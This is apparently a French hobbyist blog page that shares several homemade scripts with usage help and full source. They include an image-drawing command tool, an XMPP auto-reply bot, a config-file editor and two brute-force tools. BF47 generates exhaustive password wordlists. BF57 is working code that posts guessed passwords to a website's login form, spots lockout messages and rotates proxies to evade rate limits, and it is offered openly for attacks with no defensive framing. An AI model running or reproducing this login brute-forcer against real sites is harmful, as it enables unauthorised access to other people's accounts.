вєнυмαηLe blog de moi où je parle de nous.
Accueil

Le site est actuellement en cours de développement.
Veuillez m'excuser pour le dérangement

GeekSheetCMS
GECL (Graph Editor Command Line)

bon voilà je viens de finir un petit script qui m'as apprit pas mal de trucs sur la PIL(Python Imaging Library).
Le but principal étant didactique j'en ai profiter pour faire une petite API pour vos script Shell, je merci AnsuzPeorth pour l'idée et toutes l'aide qu'il l'a pu m'apporter.
Bien mignon mais à quoi cela peut t'il servir? bin, tout simplement à créer, éditer des images en BASH cool non?

AnsuzPeorth:Pourquoi ce script ?
Apres récupération du RMS d'un fichier audio, pour le tracer, plusieurs solutions, plus ou moins lourde selon, mais qui oblige souvent d'installer des paquets supplémentaires. J'ai donc simplement parlé de PIL à ckdevelopp qui est builtin python, très simple et largement suffisante pour tracer qqles lignes de tailles differentes sur un fond uni ...
De plus, ca fait un petit exercise python !
Help:$ ./gecl
GECL v0.1
Graph Editor Command Line
by David Lhoumaud <craft@ckdevelop.org>
GNU/GPL v3

USAGE:
    SERVER:
        new         Create new image
            new <name> <width> <heigth> <background color>
        load        Load a existing image
            load <name> <filename>

    CLIENT:
        DRAW:
            pixel
                gecl <name> pixel <x> <y> <color>
            line
                gecl <name> line <start x> <start y> <end x> <end y> <color> <width line>
            arc
                gecl <name> arc <x> <y> <start angle> <end angle> <color>
            rectangle
                gecl <name> rectangle <start x> <start y> <end x> <end y> <background color> <border color>
            ellipse
                gecl <name> ellipse <start x> <start y> <end x> <end y> <background color> <border color>
            text
                gecl <name> text <x> <y> <text> <color>

        IMAGE:
            flip
                gecl <name> flip <v or h>
                    v = vertical
                    h = horizontal
            paste
                gecl <name> paste <x> <y> <image mask>


    CASE:
        <x>, <y>, <start x>, <start y>, <end x>, <end y>, <start angle>, <end angle>, <width>, <height>, <width line>:
            integer value

        <color>, <background color>, <border color>:
            integer value (without space character)
                red<0-255>,green<0-255>,blue<0-255>,alpha<0-255>
                    black =         0,0,0,255
                    white =         255,255,255,255
                    transparent = 0,0,0,0

        <text>, <name>, <filename>, <image mask>:
            string value

Mon anglais doit être foireux à certain moment, n’hésitai pas à me le faire savoir smile merci d'avance (pour le français, je suis déjà au courant d'avoir pas mal de souci :D )

Exemple de script BASH:#! /bin/bash

./gecl new test 500 200 0,0,0,0 &
#create line horizontal blue
./gecl test line 0 50 500 50 64,119,131,255 5
#create line vertical red
./gecl test line 150 0 150 200 137,21,7,255 5
./gecl test save ./test.png


./gecl load test ./test.png &
#vertical flip
./gecl test flip v

./gecl load test ./test.tmp &
#horizontal flip
./gecl test flip h

./gecl load test ./test.tmp &
#create ellipse
./gecl test ellipse 10 10 100 100 168,50,50,200 90,164,50,255
#create text
./gecl test text 10 175 "Salut le monde" 168,50,50,255
./gecl test save ./test.png

#create mask
./gecl new mask 100 100 90,164,50,200 &
./gecl mask save ./mask.png

#paste mask
rm -f ./test.tmp;
./gecl load test ./test.png &
./gecl test paste 390 75 ./mask.png
rm -f ./test.png; rm -f ./mask.png
mv ./test.tmp ./test.png

#create arc
./gecl load test ./test.png &
./gecl test arc 0 0 200 200 0 100 90,164,50,255
./gecl test save ./test.png




Code source:#!/usr/bin/env python
#-*- coding:utf-8 -*-

import Image, ImageDraw, sys, os

def aide():
    print("""GECL v0.1
Graph Editor Command Line
by David Lhoumaud <craft@ckdevelop.org>
GNU/GPL v3

USAGE:
    SERVER:
        new         Create new image
            new <name> <width> <heigth> <background color>
        load        Load a existing image
            load <name> <filename>

    CLIENT:
        DRAW:
            pixel
                gecl <name> pixel <x> <y> <color>
            line
                gecl <name> line <start x> <start y> <end x> <end y> <color> <width line>
            arc
                gecl <name> arc <x> <y> <start angle> <end angle> <color>
            rectangle
                gecl <name> rectangle <start x> <start y> <end x> <end y> <background color> <border color>
            ellipse
                gecl <name> ellipse <start x> <start y> <end x> <end y> <background color> <border color>
            text
                gecl <name> text <x> <y> <text> <color>

        IMAGE:
            flip
                gecl <name> flip <v or h>
                    v = vertical
                    h = horizontal
            paste
                gecl <name> paste <x> <y> <image mask>


    CASE:
        <x>, <y>, <start x>, <start y>, <end x>, <end y>, <start angle>, <end angle>, <width>, <height>, <width line>:
            integer value

        <color>, <background color>, <border color>:
            integer value (without space character)
                red<0-255>,green<0-255>,blue<0-255>,alpha<0-255>
                    black =         0,0,0,255
                    white =         255,255,255,255
                    transparent = 0,0,0,0

        <text>, <name>, <filename>, <image mask>:
            string value
""")
    sys.exit()

def _LOAD(nlayer,filename):
    IMG = Image.open(filename)
    _EDITOR(IMG,nlayer)

def _NEW(nlayer,w,h, background_color):
    bc= background_color.split(',')
    IMG = Image.new("RGBA", (w,h), (int(bc[0]),int(bc[1]),int(bc[2]),int(bc[3])))
    _EDITOR(IMG,nlayer)

def _SET(cmd):
    while os.path.exists('recv.tmp'):
        #print "wait please"
        pass
    print "BEGIN "+cmd
    send_cmd = open('recv.tmp', 'w')
    send_cmd.write(cmd)
    send_cmd.close()
    while os.path.exists('recv.tmp'): pass
    print "END "+cmd

def _EDITOR(IMG,nlayer):
    draw= ImageDraw.Draw(IMG)
    _START=True
    while _START:
        if os.path.exists('recv.tmp'):
            recv= open('recv.tmp', 'r')
            md= recv.readline().rstrip('nr')
            cmd= md.split(' ')
            
            if len(cmd) > 1:
                if cmd[0] == nlayer:
                    recv.close()
                    if cmd[1] == 'quit':
                        _START=False
                    elif cmd[1] == 'save':
                        #save filename
                        IMG.save(cmd[2], "PNG")
                        _START=False
                        
                    #DRAW
                    elif cmd[1] == 'pixel':
                        fcolor=cmd[4].split(',')
                        draw.point(int(cmd[2]), int(cmd[3]), fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])), width=int(cmd[7]))
                    elif cmd[1] == 'line':
                        fcolor=cmd[6].split(',')
                        draw.line((int(cmd[2]), int(cmd[3])) + (int(cmd[4]), int(cmd[5])), fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])), width=int(cmd[7]))
                    elif cmd[1] == 'arc':
                        fcolor=cmd[8].split(',')
                        draw.arc((int(cmd[2]), int(cmd[3]),int(cmd[4]), int(cmd[5])), int(cmd[6]), int(cmd[7]), fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])))
                    elif cmd[1] == 'rectangle':
                        fcolor=cmd[6].split(',')
                        ocolor=cmd[7].split(',')
                        draw.rectangle([int(cmd[2]), int(cmd[3]), int(cmd[4]), int(cmd[5])], fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])), outline=(int(ocolor[0]),int(ocolor[1]),int(ocolor[2]),int(ocolor[3])))
                    elif cmd[1] == 'ellipse':
                        fcolor=cmd[6].split(',')
                        ocolor=cmd[7].split(',')
                        draw.ellipse([int(cmd[2]), int(cmd[3]), int(cmd[4]), int(cmd[5])], fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])), outline=(int(ocolor[0]),int(ocolor[1]),int(ocolor[2]),int(ocolor[3])))
                    elif cmd[1] == 'text':
                        txtcmd=md.split('"')
                        fcolor=txtcmd[2].split(',')
                        draw.text((int(cmd[2]), int(cmd[3])), txtcmd[1], fill=(int(fcolor[0]),int(fcolor[1]),int(fcolor[2]),int(fcolor[3])))
                        
                    #IMAGE
                    elif cmd[1] == 'flip':
                        if cmd[2] == 'h':
                            out=IMG.transpose(Image.FLIP_LEFT_RIGHT)
                            out.save(nlayer+'.tmp', "PNG")
                            _START=False
                        elif cmd[2] == 'v':
                            out=IMG.transpose(Image.FLIP_TOP_BOTTOM)
                            out.save(nlayer+'.tmp', "PNG")
                            _START=False
                        del out
                    elif cmd[1] == 'paste':
                        img_mask = Image.open(cmd[4])
                        IMG.paste(img_mask, (int(cmd[2]), int(cmd[3])), img_mask)
                        IMG.save(nlayer+'.tmp', "PNG")
                        _START=False

                    recv.close
                    os.remove('recv.tmp')
    del draw
    sys.exit()

if len(sys.argv) > 2:
    if sys.argv[1] == 'load':
        _LOAD(sys.argv[2],sys.argv[3])
    elif sys.argv[1] == 'new':
        background_color=sys.argv[5]
        _NEW(sys.argv[2],int(sys.argv[3]),int(sys.argv[4]), background_color)
    else:
        run_cmd=''
        i=1
        while i < len(sys.argv):
            if 'text' in sys.argv:
                if i == 5:
                    icmd='"'+sys.argv[i]+'"'
                else:
                    icmd=sys.argv[i]
            else:
                icmd=sys.argv[i]
                
            run_cmd=run_cmd+icmd+' '
            i+=1
        _SET(run_cmd)
else:
    aide()


Xee XMPP Bot

Xee est un bot pour protocole XMPP, Je me suis basé sur le script d'exemple de la doc python-xmpp. Le champs username n'est pas important, il sert juste à savoir quoi afficher comme pseudo :
Xee Utilise PYTHON-XMPP. Si il n'est pas installé, vous pouvez l'installer via APT:


Installation des dépendances:sudo apt-get install python-xmpp
Exemple de commande:$ ./xee compte@jappix.com "123456" "Blaz" "est en train de fumer un clope :P" "est dehors en bas de sa porte d'entrée :)" "./fichier.log"
Help:$ ./xee -h
XEE XMPP BOT
GNU/GPL v3
XEE is a bot for the XMPP protocol
Create by BeHuman (craft@ckdevelop.org)
Usage:
    xee username@server.net password username info dispo file_log
Help:
    xee -h or --help
Code source:#!/usr/bin/python
# -*- coding: utf8 -*-

import sys, os, string
import xmpp


intro="""XEE XMPP BOT
GNU/GPL v3
XEE is a bot for the XMPP protocol
Create by Be Human (human_be@rocketmail.com)"""

############################ bot logic start #####################################

bonjour=["salut", "slt", "bonjour", "bjr", "yop", "yo", "hello", "hi", "lu"]
aurevoir=["tchao", "by", "bye", u"++", u"a+", u"a +", u"@+", u"@ +", "aurevoir", u"à plus", u"a plus"]
faire=["quesque", "keske", "kesk", u"quesqu'il", "keskil", u"que fait", u"que fais", u"fais tu", u"fait tu", u"fait il", u"tu fais", u"il fait", u"tu fait", u"il fais"]
dispo=[u"où", u"ou ai", u"ou é", u"ou es", u"ou ais", u"où ai", u"où é", u"où es", u"où ais"]
insulte=[u"enculé", u"connard", u"batard", u"encule", u"salop"]
def messageCB(conn,mess):
    text=mess.getBody()
    retour="Désolé, je ne suis qu'un bot pré-programmé,\nje ne comprend pas ce que vous me dîtes."
    bbjr=False
    barv=False
    for a in bonjour:
        if a in text:
            bbjr=True
            retour="Salut, je suis Xee le bot de "+NameUser+".\nIl n'ai pas là pour le moment."
    for a in aurevoir:
        if a in text:
            barv=True
            retour="/me reste à ta disposition :P ++"
    for a in faire:
        if a in text:
            retour="/me "+infofaire
    for a in dispo:
        if a in text:
            retour="/me "+infodispo
    for a in insulte:
        if a in text:
            retour="C'est toi le %s !!!" % a
            if bbjr:
                retour="Salut mais pas la peine d'être vulgaire !!!"
            if barv:
                retour="Tchao %s !!!" % a
    conn.send(xmpp.Message(mess.getFrom(),retour))
    out=open(sys.argv[6], 'a')
    nick=mess.getFrom().getNode()
    intext=nick+": "+text+"\n\n"
    outtext="Xee: %s\n\n" % retour
    out.write(intext)
    out.write(outtext)
    out.close
    

############################# bot logic stop #####################################

def StepOn(conn):
    try:
        conn.Process(1)
    except KeyboardInterrupt:
        return 0
    return 1

def GoOn(conn):
    while StepOn(conn): pass

def help():
    print(intro+"""\nUsage:
    xee    
Help:
    xee -h or --help""")
    sys.exit(1)

if len(sys.argv)<7:
    if (len(sys.argv) < 2):
        print("\n[!]Mauvais nombre d\'arguments[!]\n")
        help()
    else:
        if sys.argv[1] == "-h" or sys.argv[1] == "--help":
            help()
        else:
            print("\n[!]Mauvais nombre d\'arguments[!]\n")
            help()
else:
    if sys.argv[1] == "-h" or sys.argv[1] == "--help":
        help()
    NameUser=sys.argv[3]
    infofaire=sys.argv[4]
    infodispo=sys.argv[5]
    jid=xmpp.JID(sys.argv[1])
    user,server,password=jid.getNode(),jid.getDomain(),sys.argv[2]
    conn=xmpp.Client(server)#,debug=[])
    conres=conn.connect()
    if not conres:
        print "Unable to connect to server %s!"%server
        sys.exit(1)
    if conres<>'tls':
        print "Warning: unable to estabilish secure connection - TLS failed!"
    authres=conn.auth(user,password)
    if not authres:
        print "Unable to authorize on %s - check login/password."%server
        sys.exit(1)
    if authres<>'sasl':
        print "Warning: unable to perform SASL auth os %s. Old authentication method used!"%server
    conn.RegisterHandler('message',messageCB)
    conn.sendInitPresence()
    print "Bot started."
    GoOn(conn)


BF47 Brute Force Generator

BF47 est générateur de dictionnaire pour attaque en force brute, l'algorithme est franchement simple à mettre en place

Exemple de commande:$ ./bf47 -m "azerty123" "$HOME/dico.txt"
Help:$ ./bf47 -h
BF47 Brute Force Generator
GNU/GPL v3
BF47 to generate a dictionary to your brute force attacks
Create by Be Human (human_be@rocketmail.com)

Options:
     Help: bf47 -h or --help
     Functions:
            letters: bf47 -l or --letters [number] [file]
            digits: bf47 -d or --digits [number] [file]
            letters and digits: bf47 -ld [number] [file]
            punctuation: bf47 -p or --punctuation [number] [file]
            all : bf47 -a or --all [number] [file]
            manual : bf47 -m or --manual [number] [file] [strings]
Code source:#!/usr/bin/env python
#-*- coding:utf-8 -*-

import string, sys, os

intro="""BF47 Brute Force Generator
GNU/GPL v3
BF47 to generate a dictionary to your brute force attacks
Create by Be Human (human_be@rocketmail.com)"""

def start():
    cnt=0
    maxlen=int(sys.argv[2])+1
    out=open(sys.argv[3], 'w')
    for a in range(maxlen):
        allkey('',a, cnt,out)
    out.close()

def allkey(chaine,maxlen,cnt,out):
    if len(chaine) < maxlen:
        for b in range(len(dico)):
            allkey(chaine+dico[b], maxlen,cnt,out)
    else:
        if len(chaine) == maxlen:
            pOut(chaine,cnt,out)

def pOut(chaine,cnt,out):
    cnt+=1
    ochaine=chaine+"\n"
    out.write(ochaine.encode('utf8'))
    tailout='%s' % os.path.getsize(sys.argv[3])
    print tailout+' => '+chaine

def help():
    print(intro+"""\n\nOptions:
     Help: bf47 -h or --help
     Functions:
            letters: bf47 -l or --letters [number] [file]
            digits: bf47 -d or --digits [number] [file]
            letters and digits: bf47 -ld [number] [file]
            punctuation: bf47 -p or --punctuation [number] [file]
            all : bf47 -a or --all [number] [file]
            manual : bf47 -m or --manual [number] [file] [strings]\n""")

if (len(sys.argv) < 4):
    if (len(sys.argv) < 2):
        print("\n[!]Mauvais nombre d\'arguments[!]\n")
        help()
    else:
        if sys.argv[1] == "-h" or sys.argv[1] == "--help":
            help()
        else:
            print("\n[!]Mauvais nombre d\'arguments[!]\n")
            help()
else:
    #white=string.whitespace
    white=' '
    letters=string.letters
    digits=string.digits
    puncts=string.punctuation
    specs=u"àâäéèêëîïôöûüùçÀÂÄÉÈÊËÎÏÔÖÙÇ"
    if sys.argv[1] == "-l" or sys.argv[1] == "--letters":
        dico="%s%s%s"%( letters, specs, white )
        start()
    elif sys.argv[1] == "-d" or sys.argv[1] == "--digits":
        dico="%s%s"%( digits, white )
        start()
    elif sys.argv[1] == "-ld":
        dico="%s%s%s%s"%( letters, specs, digits, white )
        start()
    elif sys.argv[1] == "-p" or sys.argv[1] == "--punctuation":
        dico="%s%s"%( puncts, white )
        start()
    elif sys.argv[1] == "-a" or sys.argv[1] == "--all":
        dico="%s%s%s%s%s"%( letters, specs, digits, puncts, white )
        start()
    elif sys.argv[1] == "-m" or sys.argv[1] == "--manual":
        dico=sys.argv[4]
        start()
    else:
        print("\n[!]Option inconnu[!]\n")
        help()


BF57 Brute Force Web

BF57 permet d'effectué une attaque en force brute avec ou sans dictionnaire.

Exemple de commande:$ ./bf57 -a http://www.site.truc 8 admin 'login' 'password' 'mot de passe incorrect' 'limite de connexion'
Help:$ ./bf57 -h
BF57 Brute Force Generator
GNU/GPL v3
BF57 allows a website to attack by brute force or dictionary
Create by Be Human (craft@ckdevelop.org)

Options:
    Help: bf57 -h or --help
    Functions:
        letters: bf47 -l or --letters [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        numerics: bf47 -n or --numerics [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        letters and digits: bf47 -ld [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        punctuation: bf47 -p or --punctuation [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        all : bf47 -a or --all [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        manual : bf47 -m or --manual [url] [number] [login] [input login] [input password] [error msg] [limit msg] [strings]
        dictionnary : bf47 -d or --dico [url] [dico] [login] [input login] [input password] [error msg] [limit msg]
    Option:
        use list proxy: bf57 -p or --proxy [file] [loops]
            
    Examples:
        without proxy: bf57 -a http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!"
        manual: bf57 -m http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!" "azerty"
        with dico: bf57 -d http://site.truc "admin" "log" "pwd" "error!!" "limit!!" ./dico.list
        with proxy: bf57 -a http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!" -p ./proxy.list 3
Code source:#!/usr/bin/env python
#-*- coding:utf-8 -*-

import urllib, urllib2, string, sys, os

intro="""BF57 Brute Force Generator
GNU/GPL v3
BF57 allows a website to attack by brute force or dictionary
Create by Be Human (craft@ckdevelop.org)"""

class BF57():
    def __init__(self):
        if (len(sys.argv) < 9):
            if (len(sys.argv) < 2):
                print("\n[!]Mauvais nombre d\'arguments[!]\n")
                self.help()
            else:
                if sys.argv[1] == "-h" or sys.argv[1] == "--help":
                    self.help()
                else:
                    print("\n[!]Mauvais nombre d\'arguments[!]\n")
                    self.help()
        else:
            #white=string.whitespace
            white=' '
            letters=string.letters
            digits=string.digits
            puncts=string.punctuation
            specs=u"àâäéèêëîïôöûüùçÀÂÄÉÈÊËÎÏÔÖÙÇ"
            self.url=sys.argv[2]
            self.cnt=0
            self.manu=False
            if sys.argv[1] == "-l" or sys.argv[1] == "--letters":
                self.dico="%s%s%s"%( letters, specs, white )
                self.BruteForce()
            elif sys.argv[1] == "-n" or sys.argv[1] == "--numerics":
                self.dico="%s%s"%( digits, white )
                self.BruteForce()
            elif sys.argv[1] == "-ld":
                self.dico="%s%s%s%s"%( letters, specs, digits, white )
                self.BruteForce()
            elif sys.argv[1] == "-p" or sys.argv[1] == "--punctuation":
                dico="%s%s"%( puncts, white )
                self.BruteForce()
            elif sys.argv[1] == "-a" or sys.argv[1] == "--all":
                self.dico="%s%s%s%s%s"%( letters, specs, digits, puncts, white )
                self.BruteForce()
            elif sys.argv[1] == "-m" or sys.argv[1] == "--manual":
                self.manu=True
                self.dico=sys.argv[7]
                self.BruteForce()
            elif sys.argv[1] == "-d" or sys.argv[1] == "--dico":
                self.DicoAttack()
                
            else:
                print("\n[!]Option inconnu[!]\n")
                self.help()

    def DicoAttack(self):
        self.fdico = open(sys.argv[8],'r')
        #self.dictionary=[]
        self.useproxy=False
        if (len(sys.argv) > 9):
            if sys.argv[9] == "-p" or sys.argv[9] == "--proxy":
                self.useproxy=True
                listproxy=sys.argv[10]
            if self.useproxy:
                fproxy = open(listproxy,'r')
                self.adrproxy=[]
                self.cptproxy=0
                for lines in fproxy:
                    self.adrproxy.append(lines.strip('\n'))
        self.login=sys.argv[3]
        self.ilogin=sys.argv[4]
        self.ipwd=sys.argv[5]
        self.merror=sys.argv[6]
        self.mlimit=sys.argv[7]
        for lines in self.fdico:
            self.data = {self.ilogin: self.login,self.ipwd: lines.strip('\n')}
            self.request = urllib2.Request(self.url, urllib.urlencode(self.data))
            if self.useproxy:
                proxy = { 'http' : self.adrproxy[self.cptproxy] }
                proxy_handler = urllib2.ProxyHandler(proxy)
                opener = urllib2.build_opener(proxy_handler)
                attack = opener.open(self.request).read()
            else:
                attack = urllib2.urlopen(self.request).read()
            if self.mlimit in attack:
                print("Limit")
                self.cptproxy+=1
                if self.cptproxy > len(self.adrproxy):
                    self.cptproxy=0
            elif self.merror in attack:
                print(lines.strip('\n'))
            else:
                if lines.strip('\n').strip(' ') == '':
                    pass
                else:
                    print("Password: "+lines.strip('\n'))
                    #self.dictionary.append(lines.strip('\n'))
                    break


    def BruteForce(self):
        maxlen=int(sys.argv[3])+1
        self.useproxy=False
        if (len(sys.argv) > 9):
            if self.manu:
                if sys.argv[10] == "-p" or sys.argv[10] == "--proxy":
                    self.useproxy=True
                    listproxy=sys.argv[11]
            else:
                if sys.argv[9] == "-p" or sys.argv[9] == "--proxy":
                    self.useproxy=True
                    listproxy=sys.argv[10]
            if self.useproxy:
                fproxy = open(listproxy,'r')
                self.adrproxy=[]
                self.cptproxy=0
                for lines in fproxy:
                    self.adrproxy.append(lines.strip('\n'))
                    
        self.login=sys.argv[4]
        self.ilogin=sys.argv[5]
        self.ipwd=sys.argv[6]
        self.merror=sys.argv[7]
        self.mlimit=sys.argv[8]
        
        for a in range(maxlen):
            self.allkey('',a)
            
    def allkey(self, chaine, maxlen):
        if len(chaine) < maxlen:
            for b in range(len(self.dico)):
                self.allkey(chaine+self.dico[b], maxlen)
        else:
            if len(chaine) == maxlen:
                self.data = {self.ilogin: self.login,self.ipwd: chaine}
                self.request = urllib2.Request(self.url, urllib.urlencode(self.data))
                self.pOut(chaine)
        
    def pOut(self, chaine):
        self.cnt+=1
        if self.useproxy:
            proxy = { 'http' : self.adrproxy[self.cptproxy] }
            proxy_handler = urllib2.ProxyHandler(proxy)
            opener = urllib2.build_opener(proxy_handler)
            attack = opener.open(self.request).read()
        else:
            attack = urllib2.urlopen(self.request).read()
        if self.mlimit in attack:
            print("Limit")
            self.cptproxy+=1
            if self.cptproxy > len(self.adrproxy):
                self.cptproxy=0
        elif self.merror in attack:
            print(chaine)
        else:
            print("Password: "+chaine)
        
    def help(self):
        print(intro+"""\n\nOptions:
    Help: bf57 -h or --help
    Functions:
        letters: bf47 -l or --letters [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        numerics: bf47 -n or --numerics [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        letters and digits: bf47 -ld [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        punctuation: bf47 -p or --punctuation [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        all : bf47 -a or --all [url] [number] [login] [input login] [input password] [error msg] [limit msg]
        manual : bf47 -m or --manual [url] [number] [login] [input login] [input password] [error msg] [limit msg] [strings]
        dictionnary : bf47 -d or --dico [url] [dico] [login] [input login] [input password] [error msg] [limit msg]
    Option:
        use list proxy: bf57 -p or --proxy [file] [loops]
            
    Examples:
        without proxy: bf57 -a http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!"
        manual: bf57 -m http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!" "azerty"
        with dico: bf57 -d http://site.truc "admin" "log" "pwd" "error!!" "limit!!" ./dico.list
        with proxy: bf57 -a http://site.truc 5 "admin" "log" "pwd" "error!!" "limit!!" -p ./proxy.list 3\n""")
        
BF57()


Apprendre à lire les syllabes à deux lettres avec Sylaba2

bon voilà je dépose rapidement un projet que j'ai développé pour le travail de vacance pour mon fils. le but de sylaba2 et d'apprendre la prononciation des lettres et des syllabes.
l'enfants choisi une lettre dans chaque liste, ensuite il clique sur """ Écouter "BA" """ si il à choisi la lettre B et A par exemple. Là l'écoute de la première lettre suivit de la seconde et pour finir l'écoute de la prononciation des deux lettres ensembles.

Sylaba2 dépend de Mplayer pour lire les prononciations.

Le principe de développement de Sylaba2 est très simple. en choisissant la premier lettre la variable $arg1 = 1er lettre ensuite $arg2 = 2sd lettre. Au lancement de l'écoute il cherche dans le dossier ./audios de Sylaba2 le fichier $arg1.ogg est lance l'écoute ensuite $arg2.ogg est lance l'écoute et pour finir il cherche $arg1$arg2.ogg est lance l'écoute. donc vous pourrez facilement rajouter des prononciations dans le dossier ./audios de Sylaba2. De plus la liste des lettres et très flexible car il suffit d'éditer les fichiers ./Consonnes et ./Voyelles situés dans le dossier de Sylaba2.



DeskWall changer de fond d'écran pour Nautilus, PCManFM, Rox, Feh

J'ai concocter un petit script graphique en bash (avec Glade2Script pour utiliser Glade en BASH) qui permets de changer de fond d'écran.Certains me diront qu'il en existe, je leur répondrai "oui certainement" mais souvent il sont adapté à tel ou tel environnement de bureau ou à tel ou tel gestionnaire de fenêtre.DeskWall permet de changer le fond d'écran d'un bureau Nautilus, PCManFM, ROX, OpenBox via FEH.



GUnity configurer votre bureau Unity

Gunity est une interface graphique en Bash/Python(glade2script) pour configurer votre bureau Unity pour Ubuntu à partir de la version 11.04





CONF éditeur de fichier de configuration

Conf permet d'éditer des fichier de configuration de type *.conf et *.ini

Help:$ ./conf -h
Options:
    display help = -h or --help
    display informations = -i or --info
    display licence = -l or --licence
    value edit = -n or --normal [name_section] [name_key] [value] [file] (no create key and value)
    create section = -s or --section [name_section] [file]
    create key and value = -k or --key [name_section] [name_key] [value] [file]
    create key with separator = -S or --separator [separator] [name_key] [value] [file]
    create key with separator and indent = -I or --indent [separator] [indent] [name_key] [value] [file]
    read key with separator = -R or --sread [separator] [name_key] [file]
    read key = -r or --read [name_key] [file]
Code source:#! /bin/bash

help() {
    echo """Options:
    display help = -h or --help
    display informations = -i or --info
    display licence = -l or --licence
    value edit = -n or --normal [name_section] [name_key] [value] [file] (no create key and value)
    create section = -s or --section [name_section] [file]
    create key and value = -k or --key [name_section] [name_key] [value] [file]
    create key with separator = -S or --separator [separator] [name_key] [value] [file]
    create key with separator and indent = -I or --indent [separator] [indent] [name_key] [value] [file]
    read key with separator = -R or --sread [separator] [name_key] [file]
    read key = -r or --read [name_key] [file]"""
}

info() {
    echo "CONF 11.06 by David Lhoumaud"
}

licence() {
    cat "/usr/share/common-licenses/GPL-3"
}

fnormal() {
    key=$1
    value=$2
    filename=$3
    old_IFS=$IFS    # sauvegarde du séparateur de champ
    IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
    sect="0"
    for ligne in $(cat $filename);do
        echo "$ligne"
        echo "$ligne" | grep "$key ="
        if [[ "$?" -eq "0" ]]; then
            echo "$key = $value" >> "$filename.new"
        else
            echo "$ligne" >> "$filename.new"
        fi
    done
    IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
    mv "$filename.new" "$filename"
}

fsection() {
    section=$1
    filename=$2
    section_exist="0"
    old_IFS=$IFS    # sauvegarde du séparateur de champ
    IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
    for ligne in $(cat $filename);do
        echo "$ligne" | grep "[$section]"
        if [[ "$?" -eq "0" ]]; then
            section_exist="1"
        fi
    done
    IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
    if [[ $section_exist -eq "0" ]]; then
        echo "[$section]" >> "$filename"
    fi
}

fkey() {
    section=$1
    key=$2
    value=$3
    filename=$4
    key_exist=0
    old_IFS=$IFS    # sauvegarde du séparateur de champ
    IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
    for ligne in $(cat $filename);do
        echo "$ligne" | grep "[$section]"
        if [[ "$?" -eq 0 ]]; then
            echo "$ligne" | grep "$key="
            if [[ "$?" -eq 0 ]]; then
                echo "$key=$value" >> "$filename.new"
                key_exist=1
            else
                echo "$ligne" >> "$filename.new"
            fi
        else
            echo "$ligne" >> "$filename.new"
        fi
    done
    IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
    mv "$filename.new" "$filename"
    key_ex=0
    if [[ "$key_exist" -eq 0 ]]; then
        old_IFS=$IFS    # sauvegarde du séparateur de champ
        IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
        for ligne in $(cat $filename);do
            echo "$ligne" | grep "\[$section\]"
            if [[ "$?" -eq 0 ]]; then
                if [[ "$key_ex" -eq 0 ]]; then
                    echo "$ligne" >> "$filename.new"
                    echo "$key=$value" >> "$filename.new"
                else
                    echo "$ligne" >> "$filename.new"
                fi
                key_ex=1
            else
                echo "$ligne" >> "$filename.new"
            fi
        done
        IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
        mv "$filename.new" "$filename"
    fi
}

fseparator() {
    separator=$1
    key=$2
    value=$3
    filename=$4
    old_IFS=$IFS    # sauvegarde du séparateur de champ
    IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
    for ligne in $(cat $filename);do
        echo "$ligne" | grep "$key$separator"
        if [[ "$?" -eq 0 ]]; then
            echo "$key$separator$value" >> "$filename.new"
        else
            echo "$ligne" >> "$filename.new"
        fi
    done
    IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
    mv "$filename.new" "$filename"
}

findent() {
    separator=$1
    indent=$2
    key=$3
    value=$4
    filename=$5
    
    old_IFS=$IFS    # sauvegarde du séparateur de champ
    IFS=$'\n'    # nouveau séparateur de champ, le caractère fin de ligne
    for ligne in $(cat $filename);do
        echo "$ligne" | grep "$indent$key$separator"
        if [[ "$?" -eq 0 ]]; then
            echo "$indent$key$separator$value" >> "$filename.new"
        else
            echo "$ligne" >> "$filename.new"
        fi
    done
    IFS=$old_IFS    # rétablissement du séparateur de champ par défaut
    
    mv "$filename.new" "$filename"
}

fsread() {
    cat "$3" | grep "$2$1" | awk -F"$1" '{print $2}'
}

fread() {
    cat "$2" | grep "$1" | awk -F"=" '{print $2}'
}

while getopts "hilnskSIRr-:" opt ; do
    if [ $opt = "-" ] ; then
     case $OPTARG in
         help ) opt="h" ;;
         info ) opt="i" ;;
         licence ) opt="l" ;;
         normal ) opt="n" ;;
         section ) opt="s" ;;
         key ) opt="k" ;;
         separator ) opt="S" ;;
         indent ) opt="I" ;;
         sread ) opt="R" ;;
         read ) opt="r" ;;
         * ) printf "$0 : option non permise $1\n" ;;
     esac
    fi
    case $opt in
     h ) help ;;
     i ) info ;;
     l ) licence ;;
     n ) fnormal "$2" "$3" "$4" ;; #key value file
     s ) fsection "$2" "$3" ;; #section file
     k ) fkey "$2" "$3" "$4" "$5" ;; #section key value file
     S ) fseparator "$2" "$3" "$4" "$5" ;; #separator key value file
     I ) findent "$2" "$3" "$4" "$5" "$6" ;; #separator indent key value file
     R ) fsread "$2" "$3" "$4" ;; #separator key file
     r ) fread "$2" "$3" ;; #key file
     ? ) help ;;
    esac
